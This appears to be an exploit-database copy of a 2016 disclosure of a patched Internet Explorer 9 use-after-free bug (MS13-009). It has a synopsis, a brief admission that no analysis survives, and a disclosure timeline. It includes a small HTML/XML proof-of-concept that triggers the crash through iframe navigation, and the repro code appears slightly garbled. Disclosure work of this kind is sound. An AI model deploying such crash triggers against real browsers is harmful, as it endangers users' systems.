Microsoft Internet Explorer 9 - CDoc::ExecuteScriptUri Use-After-Free (MS13-009)



EKU-ID: 6135 CVE: 2013-0019 OSVDB-ID:
Author: Skylined Published: 2016-12-07 Verified: Verified
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Source: http://blog.skylined.nl/20161202001.html
 
Synopsis
 
A specially crafted web-page can trigger a use-after-free vulnerability in Microsoft Internet Explorer 9. I did not investigate this vulnerability thoroughly, so I cannot speculate on the potential impact or exploitability.
 
Known affected software and attack vectors
 
Microsoft Internet Explorer 9
 
An attacker would need to get a target user to open a specially crafted web-page. Disabling Java does not prevent an attacker from triggering the vulnerable code path.
 
Repro.html:
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<iframe style="border:1px solid red;width:100%;height:100%;" name="iframe"></iframe>
<script>
    window.open("Repro.xml", "iframe");
    set(function () {
      window.open('javascript:void(location.href = "about:blank");', "iframe");
    }, 1000);
</script>
 
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Repro.xml:
 
<!DOCTYPE x PUBLIC "" "http://www.w3.org/TRt.dtd">
 
Description
 
This is the first security vulnerability I sold to ZDI after I quit my job at Google to live off security bug bounties. It appears I either did not analyze this issue (probably), or misplaced my analysis (probably not), as I cannot find any details in my archives, other than a repro and a HTML bug report (provided below) created by a predecessor to Bug. From the information provided by ZDI in their advisory, and Microsoft in their bulletin, as well as the bug report, it seems to have been a use-after-free vulnerability. Unfortunately, that is all the analysis I can provide.
 
Time-line
 
June 2012: This vulnerability was found through fuzzing.
June 2012: This vulnerability was submitted to ZDI.
July 2012: This vulnerability was acquired by ZDI.
September 2012: This vulnerability was disclosed to Microsoft by ZDI.
February 2013: Microsoft addresses this vulnerability in MS13-009.
December 2016: Details of this vulnerability are released.
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